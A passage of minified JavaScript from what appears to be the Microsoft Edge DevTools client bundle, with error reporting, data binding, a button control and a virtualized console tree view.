e=d();return r.get(e)||"unknown"}let c,u=!1;function d(){if(u)return c;if(!frameElement){c=o.c.onewpc;u=!0;return c}if(frameElement&&frameElement.id){c=parseInt(frameElement.id,10);u=!0;return c}throw new Error("PluginId could not be detected")}function h(e){return i.has(e)}},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(19),r=n(8);class i extends o.a{constructor(e){super(e)}static initialize(){r.a.defineProperty(i,"content",null,(e,t,n)=>e.onContentChanged(t,n))}onInitializeOverride(){super.onInitializeOverride()}onContentChangedOverride(e){}onContentChanged(e,t){this.onContentChangedOverride(e)}}i.initialize()},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(5);const r=(e,t,n,r,a,s,l)=>{let c,u,d,h,p,m,g,f="";if("string"==typeof e){f=e;m=r}else if(e){f=e.message?e.message.toString():null;e&&e.number&&"number"==typeof e.number&&(m="Error number: 0x"+Math.abs(e.number).toString(16)+"\r\n");m+="Stack: "+e.stack;if(r){const e=r.toString();e&&e.length>0&&(m+="\r\n\r\nAdditional Info: "+e)}}g=t?t.toString():null;c=t?i(t.toString().toLowerCase()):null;u=n?n.toString():null;d=a?a.toString():null;p=`${l}: ${h=s?s.toString():null}`;return o.b.utilities.reportError(c,f,g,u,d,m,p)};function i(e){const t="../",n="ms-appx-web://microsoft.microsoftedgedevtoolsclientbeta/23/",o=e.replace(t,"").replace(n,""),r=-1===o.indexOf("/")?o.length:o.indexOf("/");switch(o.substring(0,r).toLowerCase()){case"console":return"ms:console";case"debugger":return"ms:debugger";case"dom":return"ms:dom";case"emulation":return"ms:emulation";case"f12host":return"ms:host";case"memoryanalyzer":return"ms:memory";case"network":return"ms:network";case"popup":return"ms:popup";case"serviceworker":return"ms:serviceworker";case"storage":return"ms:storage";case"visualprofiler":return"ms:performance";default:return"ms:header"}}},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(1),r=n(24);class i extends o.PureComponent{render(){return o.createElement(r.a,Object.assign({},this.props),o.createElement("path",{d:"M320 128v192h-192l192-192z"}))}}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(11);function r(e,t,n,r){Object(o.deleteIfExists)(e);return new Promise(o=>{let a=0,s=!1;const l=i(e,t,e=>{if(!s){o({wasItemSelected:!0,selectedItemId:e});s=!0}l.dispose()});l.addEventListener("dismiss",()=>{if(++a>2){if(!s){o({wasItemSelected:!1});s=!0}l.dispose()}});l.show(n,r)})}function i(e,t,n){const r=t.map(e=>a(e));return Object(o.create)(r,e,null,null,(e,t,o)=>{n(t.id)})}function a(e){return{accessKey:e.accessKey,checked:()=>!!e.checked,disabled:()=>!!e.disabled,id:e.id,label:e.label,submenu:e.submenu?e.submenu.map(e=>a(e)):null,type:s(e.type)}}function s(e){switch(e){case 1:return o.MenuItemType.checkbox;case 2:return o.MenuItemType.separator;case 0:default:return o.MenuItemType.command}}},function(e,t,n){"use strict";n.d(t,"d",function(){return o});n.d(t,"b",function(){return r});n.d(t,"a",function(){return i});n.d(t,"c",function(){return a});n.d(t,"e",function(){return s});class o{constructor(){this.generatedColumn=0;this.generatedLine=0;this.sourceColumn=0;this.sourceLine=0;this.file=0}}class r{constructor(e,t){this.line=e;this.column=t}}class i{constructor(e,t=null){this.startSegment=e;this.parentScope=t;this.initializeLocalsMap()}get parentScope(){return this._parentScope}set parentScope(e){this._parentScope=e;this.initializeLocalsMap()}initializeLocalsMap(){this.parentScope?this.localsMap=Object.create(this.parentScope.localsMap):this.localsMap=Object.create(null)}}class a{}class s{}},function(e,t,n){"use strict";n.d(t,"g",function(){return r});n.d(t,"e",function(){return i});n.d(t,"f",function(){return a});n.d(t,"d",function(){return s});n.d(t,"a",function(){return c});n.d(t,"b",function(){return u});n.d(t,"c",function(){return d});var o=n(4),r={getValue:(e,t)=>e[t],isSourceSupported:e=>!!e,isValueSupported:e=>void 0!==e,setValue:(e,t,n,o)=>{e[t]=o}},i={getValue:(e,t)=>e.model,isSourceSupported:e=>!0,isValueSupported:e=>!0,setValue:(e,t,n,o)=>{e.model=o}},a={getValue:(e,t)=>e.getAttribute(t),isSourceSupported:e=>!!e,isValueSupported:e=>!0,setValue:(e,t,n,o)=>{null===o||void 0===o?e.removeAttribute(t):e.setAttribute(t,o)}},s={getValue:(e,t)=>e.classList.contains(t),isSourceSupported:e=>!!e,isValueSupported:e=>null!==e&&void 0!==e,setValue:(e,t,n,r)=>{o.a.isTrue(null!==r&&void 0!==r,"Unexpected value");r?e.classList.add(t):e.classList.remove(t)}};class l{getValue(e,t){o.a.fail("Event doesn't support two-way binding.");return null}isSourceSupported(e){return!0}isValueSupported(e){return!0}setValue(e,t,n,o){}}class c extends l{setValue(e,t,n,o){if(this._eventRegistration){this._eventRegistration.unregister();this._eventRegistration=void 0}if(n&&o){var r=e[t];r&&(this._eventRegistration=r.addHandler(o.bind(n)))}}}class u extends l{setValue(e,t,n,o){if(this._previousAddedHandler){e.removeEventListener(t,this._previousAddedHandler);this._previousAddedHandler=null}if(n&&o){this._previousAddedHandler=o.bind(n);e.addEventListener(t,this._previousAddedHandler)}}}class d{constructor(e,t,n,i,a,s,l){o.a.hasValue(t,"sourceExpression");o.a.hasValue(n,"destination");o.a.hasValue(i,"destinationProperty");s=s||d.ONE_WAY_MODE;var c=t.split(".");this._source=null;this._sourceProperty=c[0];this._paused=!1;this._twoWay=!1;this._converter=a;this._destination=n;this._destinationProperty=i;this._targetAccess=l||r;if(c.length>1){c.splice(0,1);this._childBinding=new d(null,c.join("."),n,i,a,s,this._targetAccess)}else if(s.toLowerCase()===d.TWO_WAY_MODE){this._twoWay=!0;this._destChangedRegistration=this.attachChangeHandler(n,e=>{"string"==typeof e&&null!==e&&e!==this._destinationProperty||this.updateSourceFromDest()})}this.setSource(e)}isForDestination(e,t){return e===this._destination&&t===this._destinationProperty}unbind(){this._source=null;if(this._sourceChangedRegistration){this._sourceChangedRegistration.unregister();this._sourceChangedRegistration=void 0}if(this._childBinding){this._childBinding.unbind();this._childBinding=void 0}if(this._destChangedRegistration){this._destChangedRegistration.unregister();this._destChangedRegistration=void 0}}updateSourceFromDest(){if(this._source&&this._twoWay){this._paused=!0;var e=this._targetAccess.getValue(this._destination,this._destinationProperty);this._converter&&(e=this._converter.convertFrom&&this._converter.convertFrom(e));this._source[this._sourceProperty]=e;this._paused=!1}}updateDestination(){if(!this._paused){this._paused=!0;var e=this.getValue();if(this._childBinding)this._childBinding.setSource(e);else if(this._targetAccess.isSourceSupported(this._source)){this._converter&&(e=this._converter.convertTo&&this._converter.convertTo(e));this._targetAccess.isValueSupported(e)&&this._targetAccess.setValue(this._destination,this._destinationProperty,this._source,e)}this._paused=!1}}setSource(e){if(this._sourceChangedRegistration){this._sourceChangedRegistration.unregister();this._sourceChangedRegistration=void 0}this._source=e;this._source&&(this._sourceChangedRegistration=this.attachChangeHandler(this._source,e=>{"string"==typeof e&&null!==e&&e!==this._sourceProperty||this.updateDestination()}));this.updateDestination();this.updateSourceFromDest()}attachChangeHandler(e,t){if(e.propertyChanged)return e.propertyChanged.addHandler(t);var n=e;if(("INPUT"===n.tagName||"SELECT"===n.tagName)&&n.addEventListener&&n.removeEventListener){n.addEventListener("change",t);return{unregister:()=>n.removeEventListener("change",t)}}}getValue(){return this._source&&this._source[this._sourceProperty]}}d.ONE_WAY_MODE="oneway";d.TWO_WAY_MODE="twoway"},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(10);function r(e){const t=Object(o.b)();return Object(o.g)().call("ms:header","logselftestmessage",[{pluginName:t,message:e,timestamp:Date.now()}])}},,,function(e,t,n){"use strict";n.d(t,"a",function(){return l});var o=n(97),r=n(15),i=n(8),a=n(4),s=n(72);class l extends o.a{constructor(e){super(e||"Common.defaultButtonTemplate");this.click=new r.a}static initialize(){i.a.defineProperty(l,l.IsPressedPropertyName,!1,(e,t,n)=>e.onIsPressedChanged(t,n))}onInitializeOverride(){super.onInitializeOverride();this._mouseHandler=(e=>this.onMouseEvent(e));this._keyHandler=(e=>this.onKeyboardEvent(e))}onApplyTemplate(){super.onApplyTemplate();if(this.rootElement){this.rootElement.hasAttribute("role")||this.rootElement.setAttribute("role","button");this.rootElement.addEventListener("click",this._mouseHandler);this.rootElement.addEventListener("mousedown",this._mouseHandler);this.rootElement.addEventListener("mouseup",this._mouseHandler);this.rootElement.addEventListener("mouseleave",this._mouseHandler);this.rootElement.addEventListener("keydown",this._keyHandler);this.rootElement.addEventListener("keyup",this._keyHandler);this.onIsPressedChanged(null,this.isPressed)}}onTemplateChanging(){super.onTemplateChanging();if(this.rootElement){this.rootElement.removeEventListener("click",this._mouseHandler);this.rootElement.removeEventListener("mousedown",this._mouseHandler);this.rootElement.removeEventListener("mouseup",this._mouseHandler);this.rootElement.removeEventListener("mouseleave",this._mouseHandler);this.rootElement.removeEventListener("keydown",this._keyHandler);this.rootElement.removeEventListener("keyup",this._keyHandler)}}onTooltipChangedOverride(){super.onTooltipChangedOverride();if(this.tooltip){this.rootElement.setAttribute("data-plugin-vs-tooltip",this.tooltip);this.rootElement.setAttribute("aria-label",s.a.JsonHtmlTooltipToInnerTextConverter.convertTo(this.tooltip))}else{this.rootElement.removeAttribute("data-plugin-vs-tooltip");this.rootElement.removeAttribute("aria-label")}}press(e){this.isEnabled&&this.click.invoke(e)}onKeyboardEventOverride(e){return!1}onIsPressedChanged(e,t){this.rootElement&&(t?this.rootElement.classList.add(l.CLASS_PRESSED):this.rootElement.classList.remove(l.CLASS_PRESSED))}onMouseEvent(e){if(this.isEnabled){var t=!1;switch(e.type){case"click":this.rootElement.focus();this.click.invoke(e);t=!0;break;case"mousedown":this.isPressed=!0;break;case"mouseup":case"mouseleave":this.isPressed=!1;break;default:a.a.fail("Unexpected")}if(t){e.stopImmediatePropagation();e.preventDefault()}}}onKeyboardEvent(e){if(this.isEnabled&&!this.onKeyboardEventOverride(e)&&(13===e.keyCode||32===e.keyCode))switch(e.type){case"keydown":this.isPressed=!0;break;case"keyup":if(this.isPressed){this.isPressed=!1;this.click.invoke(e)}break;default:a.a.fail("Unexpected")}}}l.CLASS_PRESSED="pressed";l.IsPressedPropertyName="isPressed";l.initialize()},function(e,t,n){"use strict";n.d(t,"a",function(){return r});n.d(t,"b",function(){return i});var o=n(36),r={commonRoot:"../common/",editorRoot:"../common/monaco-editor/min/vs/",formatterRoot:"../common/formatter/"};function i(e,t=r){var n=o.a.getCurrent(),i=new o.a(n,t.commonRoot),a=new o.a(n,t.editorRoot),s=new o.a(n,t.formatterRoot);e=new o.a(s,e);return{path:n.makeRelative(e).toString(),services:{commonRoot:e.makeRelative(i).toString(),editorRoot:e.makeRelative(a).toString(),formatterRoot:e.makeRelative(s).toString()}}}},function(e,t,n){"use strict";n.d(t,"a",function(){return d});var o=n(0),r=n(4),i=n(37),a=n(20),s=n(12);class l{constructor(){this._cellOffset=0;this._rowHeight=0;this._unitEx=0}get cellOffset(){return this._cellOffset}get rowHeight(){return this._rowHeight}get unitEx(){return this._unitEx}update(e){var t=c("div","listview-grid");t.style.display="block";t.style.position="absolute";t.style.left="-5000px";t.style.top="-5000px";t.style.width="1000px";t.style.height="500px";(e||document.body).appendChild(t);var n=c("div","listview-grid-row grid-row-normal");n.tabIndex=-1;n.setAttribute("role","listitem");t.appendChild(n);var o=c("div","listview-grid-cell");o.style.width="100px";o.innerText="1";n.appendChild(o);this._rowHeight=n.offsetHeight;this._cellOffset=o.offsetWidth-100;var r=c("div");r.style.overflow="hidden";r.style.width="1em";r.style.height="1ex";o.appendChild(r);this._unitEx=r.offsetHeight;(e||document.body).removeChild(t)}}function c(e,t){var n=document.createElement(e);t&&(n.className=t);return n}function u(e,t,n){for(var o=n||document.body,r=e;r&&r!==o;){if(r.msMatchesSelector(t))return r;r=r.parentElement}return null}class d{constructor(e,t,n,o,r,i){this._isTabbingOut=!1;this._delayedRenderRequestCount=0;this._containerElement=e;this._toggleCallback=t;this._selectCallback=n;this._editCallback=o;this._clickCallback=r;this._nameColumnWidth=d.DefaultColumnSize;this._isInitialResize=!0;this._autoScrollEnabled=!0;this._scrollPadding=5;this._hasIndent=!0;this._renderFunction=i;this._renderFunction||(this._renderFunction=((e,t,n)=>window.setTimeout(e,t,n)));this.initialize()}get onUpdated(){return this._onUpdated}set onUpdated(e){this._onUpdated=e}get postRenderCallback(){return this._postRenderCallback}set postRenderCallback(e){this._postRenderCallback=e}get notifyToggleCallback(){return this._notifyToggleCallback}set notifyToggleCallback(e){this._notifyToggleCallback=e}get scrollPadding(){return this._scrollPadding}set scrollPadding(e){this._scrollPadding=e}get hasIndent(){return this._hasIndent}set hasIndent(e){this._hasIndent=e}get onBeforeRendering(){return this._onBeforeRendering}set onBeforeRendering(e){this._onBeforeRendering=e}get onRendered(){return this._onRendered}set onRendered(e){this._onRendered=e}get onBeforeItemToggle(){return this._onBeforeItemToggle}set onBeforeItemToggle(e){this._onBeforeItemToggle=e}get onItemToggled(){return this._onItemToggled}set onItemToggled(e){this._onItemToggled=e}get onBeforeScroll(){return this._onBeforeScroll}set onBeforeScroll(e){this._onBeforeScroll=e}get onScrollCompleted(){return this._onScrollCompleted}set onScrollCompleted(e){this._onScrollCompleted=e}resize(){this.onResize()}addItems(e,t,n,o,i){var a=null,s=null,l=null,c=0,u=0;r.a.isFalse(i&&!n,"addBeforeSibling (true) can only be used with linkAsSiblings (true) in objectTreeView addItems");for(var d=[],h=[],p=0;p<e.length;p++){e[p].isStale=t&&t.isStale;"consoleItemInput"===e[p].additionalClass&&(this._autoScrollEnabled=!0);var m;p>0?m=e[p-1]:this._filteredList&&this._filteredList.length>0&&(m=this.getItem(this._filteredList.length-1));var g=(!this._filter||this._filter(e[p]))&&this.separatorFilter(e[p],m),f=e[p].id;if(e[p].htmlLines&&e[p].htmlLines.length>0)for(var _=0;_<e[p].htmlLines.length;_++){d.push(f+"::"+_);g&&h.push(f+"::"+_)}else{d.push(f);g&&h.push(f)}}if(t){s=a=this._dataContextMap[t.id];n&&(a=s.parentContext)}if(a||s){var v=s.item;c=this.getIndexOfItem(this._unfilteredList,v)+1;u=this.getIndexOfItem(this._filteredList,v)+1;if(n){if(i){c-=1;u-=1;r.a.isTrue(c>=0);r.a.isTrue(u>=0);c<0&&(c=0);u<0&&(u=0)}}else{c+=a?a.descendantCount:0;u+=a?a.expandedCount:0}if(a){a.children=(a.children||[]).concat(e);this.updateContextCounts(a,d.length,h.length)}var b=u-1;b+h.length>=this._currentViewport.last-this._scrollPadding-1&&(l=h.length+1<this._currentViewport.unboundLast-this._currentViewport.unboundFirst-2*this._scrollPadding?{index:b+h.length,top:!1}:{index:b,top:!0})}else{c=this._unfilteredList.length;u=this._filteredList.length}for(p=0;p<e.length;p++){var C=e[p].htmlLines&&e[p].htmlLines.length>0?e[p].htmlLines.length-1:0;this._dataContextMap[e[p].id]={item:e[p],children:[],parentContext:a,descendantCount:C,expandedCount:C}}0===this._unfilteredList.length||c===this._unfilteredList.length?this._unfilteredList=this._unfilteredList.concat(d):this.spliceArray(this._unfilteredList,d,c);0===this._filteredList.length||u===this._filteredList.length?this._filteredList=this._filteredList.concat(h):this.spliceArray(this._filteredList,h,u);this.requestRender(!0);!o&&l&&(this._delayedScrollFunction=(()=>{this.scrollIndexIntoView(l.index,l.top)}))}updateItemLines(e,t){var n=e.id,o=this.getIndexOfItem(this._unfilteredList,e),r=this.getIndexOfItem(this._filteredList,e);if(o>=0){for(var i=[],a=[],s=0;s<e.htmlLines.length;s++){i.push(n+"::"+s);r>=0&&a.push(n+"::"+s)}var l=[o,t].concat(i);Array.prototype.splice.apply(this._unfilteredList,l);if(r>=0){l=[r,t].concat(a);Array.prototype.splice.apply(this._filteredList,l)}this.updateContextCounts(this._dataContextMap[e.id],i.length-t,a.length-t)}this.requestRender(!0)}selectItem(e,t=!0){if(this._delayedRenderCookie){this._delayedSelectFunction=(()=>this.selectItem(e,t));return!1}for(var n=this._gridElement.querySelectorAll(".listview-grid-row"),o=0;o<n.length;o++){var r=n.item(o),i=parseInt(r.getAttribute("data-index"),10);if(this.getItem(i)===e&&(!e.htmlLines||0===this.getLineIndex(this._filteredList[i]))){this.selectRow(r,t,!1);return!0}}if((i=this.getIndexOfItem(this._filteredList,e,!1))>-1){this.scrollIndexIntoView(i,!0);if(r=document.getElementById("row_"+i)){this.selectRow(r,t,!1);return!0}}return!1}markItemsAsStale(e){for(var t=0,n=this._unfilteredList.length;t<n;t++){var o=this.getItemId(this._unfilteredList[t]),r=this._dataContextMap[o].item,i=r.target;i&&e&&(r.isStale=i.targetId===e)}this.requestRender(!0)}selectRow(e,t,n=!0){if(e&&e.classList.contains("listview-grid-row")){if((r=parseInt(e.getAttribute("data-index"),10))!==this._selectedIndex||t){this._selectedIndex=r;this._selectedRow=e;var o=this.getLineIndex(this._filteredList[this._selectedIndex]);if(o>=1&&n){var r=this._selectedIndex-o;this.selectItem(this.getItem(r));return}this._delayedSelectCookie&&window.clearTimeout(this._delayedSelectCookie);this._delayedSelectCookie=window.setTimeout(()=>{if(this._selectedRow){for(var e=this._gridElement.querySelectorAll(".listview-grid-row-selected"),n=0;n<e.length;n++){e.item(n).classList.remove("listview-grid-row-selected");e.item(n).removeAttribute("aria-selected")}var o=this.getItem(this._selectedIndex);if(!o){this._delayedSelectCookie=null;return}for(var r=this._selectedRow,i=0;i<(o.htmlLines?o.htmlLines.length:1)&&r;){r.classList.add("listview-grid-row-selected");r.setAttribute("aria-selected","true");r=r.nextSibling;i++}t||this.isFocusWithin()?this._selectedRow.focus():this.scrollIndexIntoView(this._selectedIndex);this.updateGroupLine();this._selectCallback&&this._selectCallback(o)}this._delayedSelectCookie=null},10)}}}toggleRow(e){var t=parseInt(e.getAttribute("data-index"),10);if(!isNaN(t)){e.querySelector(".listview-icon-tree")&&this.toggleRowAt(t)}}setRowState(e,t){var n=this.getItem(e);if(n){var o=this._dataContextMap[n.id].descendantCount<=(n.htmlLines?n.htmlLines.length-1:0);(t===d.EXPAND_ROW&&o||t===d.COLLAPSE_ROW&&!o)&&this.toggleRowAt(e)}}toggleRowAt(e){var t=this.getItem(e);if(t){this._onBeforeItemToggle&&this._onBeforeItemToggle();var n=this._dataContextMap[t.id];if(n.descendantCount<=(t.htmlLines?t.htmlLines.length-1:0))this._toggleCallback&&this._toggleCallback(n.item);else{for(var o=t.htmlLines?t.htmlLines.length-1:0,r=n.descendantCount-o,i=n.expandedCount-o,a=this.getIndexOfItem(this._unfilteredList,t),s=this._unfilteredList.splice(a+1+o,r),l=0;l<s.length;l++){var c=this.getItemId(s[l]);this._dataContextMap[c]=null}this._selectedIndex>e+o&&this._selectedIndex<e+1+o+i&&(this._selectedIndex=e);this._filteredList.splice(e+1+o,i);this.updateContextCounts(n,-r,-i);this.requestRender(!0,e);this._onUpdated&&this._onUpdated([t])}setTimeout(()=>{this._notifyToggleCallback&&this._notifyToggleCallback()});this._onItemToggled&&this._onItemToggled()}}setButtonState(e,t,n,r){if(e.buttonItems)for(var a=this._gridElement.querySelectorAll(".listview-grid-row"),s=0;s<a.length;s++){var l=a.item(s),c=parseInt(l.getAttribute("data-index"),10);if(this.getItem(c)===e&&0===this.getLineIndex(this._filteredList[c])){var u=l.querySelector('[listview-button-index="'+t+'"]');if(u){i.a.changeButtonStatus(u,n);var d=e.buttonItems[t];d.isEnabled=n;if(n){d.isChecked=r;var h=r?d.checkedTooltip:d.uncheckedTooltip;u.setAttribute("data-plugin-vs-tooltip",Object(o.b)(h));u.setAttribute("aria-label",Object(o.b)(h));var p=u.querySelector(".buttonIcon.icon_16x16");p&&(r?p.classList.add("checked"):p.classList.remove("checked"))}}}}}setFilter(e){this._filter=e;for(var t={},n=0;n<this._filteredList.length;n++)t[this._filteredList[n]]=!0;var o,r=[],i=-1;if(this._selectedIndex>-1){var a=this.getSelectedItem();a&&(i=this.getIndexOfItem(this._unfilteredList,a));this._selectedIndex=-1}for(n=0;n<this._unfilteredList.length;n++){var s=this._unfilteredList[n],l=this._dataContextMap[this.getItemId(s)],c=0,u=!!t[s];if(l&&e(l.item)&&this.separatorFilter(l.item,o)){o=l.item;r.push(s);u||(c=1);n>=i&&-1===this._selectedIndex&&(this._selectedIndex=r.length-1)}else if(u){c=-1;n===i&&r&&r.length>0&&(this._selectedIndex=r.length-1)}if(c){var d=l&&l.parentContext;if(d)for(;d;){d.expandedCount+=c;d=d.parentContext}}}this._filteredList=r;-1===this._selectedIndex?this._selectedRow=null:this._delayedScrollFunction=(()=>this.scrollIndexIntoView(this._selectedIndex,!0));this.requestRender(!0)}sortFilteredList(e){this._filteredList.sort((t,n)=>{t=e(this._dataContextMap[this.getItemId(t)].item),n=e(this._dataContextMap[this.getItemId(n)].item);var o=s.a.naturalSort(t.toLowerCase(),n.toLowerCase());return 0===o?s.a.naturalSort(n,t):o})}getItemCount(){return this._filteredList.length}getUnfilteredItemCount(){return this._unfilteredList.length}getItemAt(e){return e>=0&&e<this._filteredList.length?this.getItem(e):null}getSelectedItem(){return this._selectedIndex>=0&&this._selectedIndex<this._filteredList.length?this.getItem(this._selectedIndex):null}getSelectedRow(){if(this._selectedRow)return this._selectedRow;if(this._selectedIndex>=0&&this._selectedIndex<this._filteredList.length){this.scrollIndexIntoView(this._selectedIndex);return document.getElementById("row_"+this._selectedIndex)}return null}getItemChildren(e){return this._dataContextMap[e.id]?this._dataContextMap[e.id].children:null}isItemExpanded(e){return this._dataContextMap[e.id]&&this._dataContextMap[e.id].descendantCount>(e.htmlLines?e.htmlLines.length-1:0)}isItemCollapsed(e){return this._dataContextMap[e.id]&&this._dataContextMap[e.id].descendantCount<=(e.htmlLines?e.htmlLines.length-1:0)}removeItem(e,t,n){if(e){var o=this._dataContextMap[e.id];if(o){var r=this.getIndexOfItem(this._filteredList,e);-1!==r&&this._filteredList.splice(r,o.expandedCount+1);for(var i=this.getIndexOfItem(this._unfilteredList,e),a=this._unfilteredList.splice(i,o.descendantCount+1),s=0;s<a.length;s++){var l=this.getItemId(a[s]);this._dataContextMap[l]=null}var c,u=o.parentContext;if(u&&u.children){(s=u.children.indexOf(e))>-1&&u.children.splice(s,1);this.updateContextCounts(o,-(o.descendantCount+1),-(o.expandedCount+1))}this._selectedIndex===r?c=this.getItem(Math.min(r,this._filteredList.length-1)):this._selectedIndex>r&&(c=this.getItem(Math.min(this._selectedIndex-o.expandedCount,this._filteredList.length-1)));c&&this.selectItem(c,n);this.requestRender(!t)}}}scrollToBottom(){this._delayedRenderCookie?this._delayedScrollFunction=(()=>{this.scrollToBottom()}):this._rootElement.scrollTop=this._rootElement.scrollHeight}remeasure(){this._measurements.update();this.requestRender(!0)}refresh(){this.requestRender(!0)}clear(){if(this._delayedSelectCookie){clearTimeout(this._delayedSelectCookie);this._delayedSelectCookie=null}if(this._delayedFocusCookie){clearTimeout(this._delayedFocusCookie);this._delayedFocusCookie=null}this._dataContextMap={};this._filteredList=[];this._unfilteredList=[];this._selectedIndex=-1;this._selectedRow=null;this._groupLineElement.style.display="none";this._onUpdated&&this._onUpdated(null);this.executePendingRenderRequest(!0)}expandAllItems(e,t){var n=this.getItem(e);if(n){var o=this._dataContextMap[n.id];o&&this.expandDescendants(o.item,t)}}collapseAllItems(e){if(n=this.getItem(e)){var t=this._dataContextMap[n.id];if(t){var n=t.item;this.isItemExpanded(n)&&this.toggleRowAt(this.getIndexOfItem(this._filteredList,n))}}}getTreeViewItemIndent(e){var t=-1,n=this.getItem(e);if(n){t=0;if(this._dataContextMap){var o=this._dataContextMap[n.id];o&&(t=this.getIndent(o))}}return t}getIndex(e){return this.getIndexOfItem(this._filteredList,e)}itemIndexToLineIndex(e){if(e>0&&e<this._filteredList.length){for(var t=1,n=0;t<this._filteredList.length&&n<e;t++)this.getItemId(this._filteredList[t])!==this.getItemId(this._filteredList[t-1])&&n++;return t-1}return e}lineIndexToItemIndex(e){if(e<1)return e;for(var t=0,n=1;n<=Math.min(e,this._filteredList.length-1);n++)this.getItemId(this._filteredList[n])!==this.getItemId(this._filteredList[n-1])&&t++;return t}isAutoScrollToItemEnabled(e){var t=!1,n=1;e&&e.htmlLines&&(n=e.htmlLines.length);t=this.getIndex(e)===this.getItemCount()-n;this._scrollBottom>=this._measurements.rowHeight*Math.max(0,this._filteredList.length-n)&&(this._autoScrollEnabled=!0);return this._autoScrollEnabled&&t}onDOMAttrModified(e){if("aria-expanded"===e.attrName){var t=e.target,n="true"===e.newValue,o=t.classList.contains("listview-grid-row-expanded"),r=t.classList.contains("listview-grid-row-collapsed");(n&&r||!n&&o)&&this.toggleRow(t)}}addDOMAttrModifiedHandler(e){e.addEventListener("DOMAttrModified",this.onDOMAttrModified.bind(this))}initialize(){this._rootElement=c("div","listview");this._rootElement.setAttribute("tabindex","1");this._rootElement.setAttribute("role","tree");this._containerElement.appendChild(this._rootElement);this._spacerTopElement=c("span","listview-grid-content-spacer");this._rootElement.appendChild(this._spacerTopElement);this._rootElement.appendChild(c("div",""));this._gridElement=c("div","listview-grid");this._rootElement.appendChild(this._gridElement);this._groupLineElement=c("div","listview-grid-groupline");this._rootElement.appendChild(this._groupLineElement);this._separatorElement=c("div","listview-grid-separator");this._separatorElement.style.left=d.SeparatorOffset+this._nameColumnWidth+"px";this._rootElement.appendChild(this._separatorElement);this._rootElement.appendChild(c("div",""));this._spacerBottomElement=c("span","listview-grid-content-spacer");this._rootElement.appendChild(this._spacerBottomElement);window.addEventListener("resize",()=>this.onResize());this._rootElement.addEventListener("scroll",()=>this.onScroll());this._rootElement.addEventListener("mousedown",e=>this.onMouseDown(e));this._rootElement.addEventListener("dblclick",e=>this.onMouseDblClick(e));this._rootElement.addEventListener("keydown",e=>this.onKeyDown(e));this._rootElement.addEventListener("focus",e=>this.onFocus(e),!0);this._rootElement.addEventListener("blur",()=>this.onBlur(),!0);this._measurements=new l;window.setTimeout(()=>{this._measurements.update(this._containerElement)},10);this.resetViewport();this._scrollBottom=this._rootElement.clientHeight+this._rootElement.scrollTop;this._dataContextMap={};this._unfilteredList=[];this._filteredList=[];this._errorLabel=s.a.loadString("SingleError",[""]);this._infoLabel=s.a.loadString("SingleMessage",[""]);this._warningLabel=s.a.loadString("SingleWarning",[""]);this._isStaleLabel=s.a.loadString("ConsoleStaleMessage")}resetViewport(){this._currentViewport={first:Number.MAX_VALUE,last:-1,scrollTop:0,spaceTop:0,spaceBottom:0,unboundFirst:Number.MAX_VALUE,unboundLast:-1}}getViewportRowInfo(){var e=Math.max(0,this._filteredList.length-1),t=this._measurements.rowHeight||1,n=(e+2)*t-this._rootElement.clientHeight;this._rootElement.scrollTop>n&&(this._rootElement.scrollTop=n);var o=this._rootElement.scrollTop,r=o+this._rootElement.clientHeight,i=Math.floor(o/t)-this._scrollPadding,a=Math.ceil(r/t)+this._scrollPadding,s=Math.min(e,Math.max(0,i)),l=Math.max(0,Math.min(e,a));return{first:s,last:l,scrollTop:o,spaceTop:Math.max(0,s*t),spaceBottom:Math.max(0,(e-l)*t),unboundFirst:i,unboundLast:a}}sizeSpacer(e,t){e.firstChild&&e.removeChild(e.firstChild);if(t<d.MaxSpacerSize){e.style.height=t+"px";e.style.display="block"}else{var n=document.createDocumentFragment();e.style.height="auto";e.style.display="inline";var o=document.createElement("div");o.style.height=t%d.MaxSpacerSize+"px";n.appendChild(o);for(var r=Math.floor(t/d.MaxSpacerSize),i=0;i<r;i++){(o=document.createElement("div")).style.height=d.MaxSpacerSize+"px";n.appendChild(o)}var a=document.createElement("span");a.style.display="inline-block";a.appendChild(n);e.appendChild(a)}}requestRender(e,t){this._delayedRenderCookie?this._delayedRenderRequestCount++:this._delayedRenderCookie=this._renderFunction(()=>this.executePendingRenderRequest(e,t),d.DelayedRenderInterval);if(this._delayedRenderRequestCount>d.MaxDelayedRenderRequestCount){this._delayedRenderCookie&&window.clearTimeout(this._delayedRenderCookie);this.executePendingRenderRequest(e,t)}}executePendingRenderRequest(e,t){this._onBeforeRendering&&this._onBeforeRendering();this._delayedRenderCookie=null;this._delayedRenderRequestCount=0;this.performRender(e,t);if(this._delayedScrollFunction){this._delayedScrollFunction();this._delayedScrollFunction=null}if(this._delayedSelectFunction){this._delayedSelectFunction();this._delayedSelectFunction=null}}getLabelForAddedClasses(e){if(!e)return"";var t;e.lastIndexOf("consoleItemError")>=0?t=this._errorLabel:e.lastIndexOf("consoleItemInfo")>=0?t=this._infoLabel:e.lastIndexOf("consoleItemWarn")>=0&&(t=this._warningLabel);t&&e.lastIndexOf("Stale")>=0?t=this._isStaleLabel+" "+t:t||(t="");return t}performRender(e,t){this._ignoreScroll=!0;var n=this.getViewportRowInfo();this._gridElement.style.height=this._gridElement.clientHeight+"px";this.sizeSpacer(this._spacerTopElement,n.spaceTop);this.sizeSpacer(this._spacerBottomElement,n.spaceBottom);this._separatorElement.style.top=n.scrollTop+"px";if(e){for(;this._gridElement.hasChildNodes();){var o=this._gridElement.lastChild;if(this._selectedRow===o){if(this.isFocusWithin()){var r=this._rootElement.scrollTop;this._rootElement.focus();this._rootElement.scrollTop=r}this._selectedRow=null}this._gridElement.removeChild(o)}this.resetViewport()}for(var s=document.createDocumentFragment(),l=document.createDocumentFragment(),u=n.first;u<=n.last&&u<this._filteredList.length;u++)if(u<this._currentViewport.first||u>this._currentViewport.last){var h=this.getItem(u);if(!h)continue;var p=this._dataContextMap[h.id],m=this.getIndent(p),g=null===h.name||void 0===h.name,f=h.htmlLines&&h.htmlLines.length>0?this.getLineIndex(this._filteredList[u]):-1,_=p.descendantCount>(h.htmlLines?h.htmlLines.length-1:0),v=this.getSelectedItem()===h,b="";(H=c("div","listview-grid-row"+(h.additionalClass?" 